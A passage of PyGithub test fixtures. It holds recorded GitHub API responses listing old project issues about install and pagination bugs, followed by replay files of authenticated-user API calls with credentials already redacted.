"updated_at":"2013-03-21T21:00:47Z","closed_at":"2013-03-21T21:00:47Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"In trying to pip install PyGithub with Python 3.3 just now, I see the following in the console:\r\n\r\nDownloading/unpacking PyGithub\r\n Downloading PyGithub-1.12.2.tar.gz (1.6MB): 1.6MB downloaded\r\n Running setup.py egg_info for package PyGithub\r\n \r\nInstalling collected packages: PyGithub\r\n Running setup.py install for PyGithub\r\n Fixing build/lib/github/__init__.py build/lib/github/AuthenticatedUser.py \r\n\r\n...\r\n\r\n File \"/Users/matthew/virtual-environments/mtsw2e/lib/python3.3/site-packages/github/AuthenticatedUser.py\", line 16\r\n from . import github.GithubObject\r\n ^\r\n SyntaxError: invalid syntax\r\n\r\n .... more of the same errors ...\r\n\r\nIn looking at the source on GitHub for this version (such as https://github.com/jacquev6/PyGithub/blob/v1.12.2/github/UserKey.py), it appears that you are just doing straight imports as \"import github.X\" which is causing 2to3 to produce invalid imports when it rewrites."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/80","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/80/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/80/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/80/events","html_url":"https://github.com/jacquev6/PyGithub/issues/80","id":6807542,"number":80,"title":"Assertion Failure ??","user":{"login":"mnsanghvi","id":1726664,"avatar_url":"https://secure.gravatar.com/avatar/e409b9dc39edbc7c61c36de28d16cc84?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e409b9dc39edbc7c61c36de28d16cc84","url":"https://api.github.com/users/mnsanghvi","html_url":"https://github.com/mnsanghvi","followers_url":"https://api.github.com/users/mnsanghvi/followers","following_url":"https://api.github.com/users/mnsanghvi/following{/other_user}","gists_url":"https://api.github.com/users/mnsanghvi/gists{/gist_id}","starred_url":"https://api.github.com/users/mnsanghvi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mnsanghvi/subscriptions","organizations_url":"https://api.github.com/users/mnsanghvi/orgs","repos_url":"https://api.github.com/users/mnsanghvi/repos","events_url":"https://api.github.com/users/mnsanghvi/events{/privacy}","received_events_url":"https://api.github.com/users/mnsanghvi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12/labels","id":172499,"number":12,"title":"Version 1.7","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-09-10T04:25:53Z","updated_at":"2012-09-12T19:40:27Z","due_on":"2012-09-14T07:00:00Z"},"comments":15,"created_at":"2012-09-12T02:07:44Z","updated_at":"2012-09-12T20:48:51Z","closed_at":"2012-09-12T19:28:02Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"``` python\n>>> from github import Github\n>>> gh = Github( \"login\", \"password\", \"base_url\")\n>>> for repo in gh.get_user().get_repos():\n... print repo.name\n...\nrepo1\nrepo2\nmy-person-linux-kernel-repo\nthe-secret-macosx-repo\n\n>>> for repo in gh.get_organization( org_name ).get_repos():\n... print repo.name\n...\n \nTraceback (most recent call last):\n File \"\", line 1, in \n File \"build/bdist.macosx-10.7-intel/egg/github/Organization.py\", line 311, in get_repos\n File \"build/bdist.macosx-10.7-intel/egg/github/Requester.py\", line 60, in requestAndCheck\n File \"build/bdist.macosx-10.7-intel/egg/github/Requester.py\", line 76, in requestRaw\nAssertionError\n\n```\n\nIs this because of my lack of knowledge about python, or is there something else going on here ? \n\nWhat I would like to do is be able to get a list of the hooks in all the repos in an organization and also go through that list of repos in an organization and be able to create hooks. \n\n\n"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/77","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/77/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/77/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/77/events","html_url":"https://github.com/jacquev6/PyGithub/issues/77","id":6780606,"number":77,"title":"No ability to fetch specific page with search api","user":{"login":"kukuts","id":1831238,"avatar_url":"https://secure.gravatar.com/avatar/9be6ba907be1740213b69422fdf52b57?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9be6ba907be1740213b69422fdf52b57","url":"https://api.github.com/users/kukuts","html_url":"https://github.com/kukuts","followers_url":"https://api.github.com/users/kukuts/followers","following_url":"https://api.github.com/users/kukuts/following{/other_user}","gists_url":"https://api.github.com/users/kukuts/gists{/gist_id}","starred_url":"https://api.github.com/users/kukuts/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kukuts/subscriptions","organizations_url":"https://api.github.com/users/kukuts/orgs","repos_url":"https://api.github.com/users/kukuts/repos","events_url":"https://api.github.com/users/kukuts/events{/privacy}","received_events_url":"https://api.github.com/users/kukuts/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12/labels","id":172499,"number":12,"title":"Version 1.7","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-09-10T04:25:53Z","updated_at":"2012-09-12T19:40:27Z","due_on":"2012-09-14T07:00:00Z"},"comments":16,"created_at":"2012-09-11T03:44:18Z","updated_at":"2012-09-12T19:24:37Z","closed_at":"2012-09-12T19:24:37Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"legacy_search_repos - keyword and language but no start_page parameter\nHow to get eg 3rd page right?"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testInstallations.txt0000644000175100001660000000564014756101563026070 0ustar00runnerdockerhttps GET api.github.com None /user/installations {'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 23 Jan 2019 22:55:08 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1548287423'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"a5a8c1fcbecacfdb17b4b714f28556ba"'), ('X-OAuth-Scopes', ''), ('X-Accepted-OAuth-Scopes', ''), ('X-OAuth-Client-Id', 'Iv1.11b0acc03bd76665'), ('X-GitHub-Media-Type', 'github.machine-man-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip')] {"total_count":1,"installations":[{"id":123456,"account":{"login":"rigaspapas","id":12345,"node_id":"MDQ6VXNlcjE3NzM2NTI=","avatar_url":"https://avatars1.githubusercontent.com/u/12345?v=4","gravatar_id":"","url":"https://api.github.com/users/rigaspapas","html_url":"https://github.com/rigaspapas","followers_url":"https://api.github.com/users/rigaspapas/followers","following_url":"https://api.github.com/users/rigaspapas/following{/other_user}","gists_url":"https://api.github.com/users/rigaspapas/gists{/gist_id}","starred_url":"https://api.github.com/users/rigaspapas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rigaspapas/subscriptions","organizations_url":"https://api.github.com/users/rigaspapas/orgs","repos_url":"https://api.github.com/users/rigaspapas/repos","events_url":"https://api.github.com/users/rigaspapas/events{/privacy}","received_events_url":"https://api.github.com/users/rigaspapas/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/installations/242638/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/123456","app_id":10101,"target_id":3344556,"target_type":"User","permissions":{"contents":"write","pull_requests":"write","administration":"read","metadata":"read","statuses":"read"},"events":["push"],"created_at":"2018-07-13T17:59:47.000+03:00","updated_at":"2018-07-13T17:59:47.000+03:00","single_file_name":null}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testMarkNotificationsAsRead.txt0000644000175100001660000000246314756101563027750 0ustar00runnerdockerhttps PUT api.github.com None /notifications {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"last_read_at": "2018-10-18T18:20:01Z"} 205 [('Server', 'GitHub.com'), ('Date', 'Thu, 18 Oct 2018 18:41:54 GMT'), ('Content-Type', 'text/plain;charset=utf-8'), ('Content-Length', '0'), ('Status', '205 Reset Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4989'), ('X-RateLimit-Reset', '1539890344'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'notifications, repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'B236:4C25:2ABE5CA:58BE030:5BC8D3F2')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testStarring.txt0000644000175100001660000013772314756101563025045 0ustar00runnerdockerhttps GET api.github.com None /users/nvie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '603'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4972'), ('server', 'nginx/1.0.13'), ('last-modified', 'Mon, 03 Sep 2012 09:24:06 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"eeac2be05fbbb88d548aaf0353a465f9"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 07 Sep 2012 23:34:41 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","gravatar_id":"466ef7561a0b100dc5a1021959962d28","avatar_url":"https://secure.gravatar.com/avatar/466ef7561a0b100dc5a1021959962d28?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"nvie","public_repos":64,"created_at":"2009-05-12T21:19:38Z","html_url":"https://github.com/nvie","email":"vincent@3rdcloud.com","company":"3rd Cloud","followers":347,"hireable":false,"public_gists":28,"name":"Vincent Driessen","blog":"http://nvie.com","url":"https://api.github.com/users/nvie","following":41,"location":"Netherlands","bio":null,"id":83844} https GET api.github.com None /repos/nvie/gitflow {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '1272'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 23:33:59 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"65c6be3387ac59ebbbf02e7b4c793b8e"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 07 Sep 2012 23:34:42 GMT'), ('content-type', 'application/json; charset=utf-8')] {"master_branch":"develop","forks":429,"watchers_count":4650,"has_downloads":true,"owner":{"gravatar_id":"466ef7561a0b100dc5a1021959962d28","avatar_url":"https://secure.gravatar.com/avatar/466ef7561a0b100dc5a1021959962d28?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"nvie","url":"https://api.github.com/users/nvie","id":83844},"open_issues_count":100,"description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching 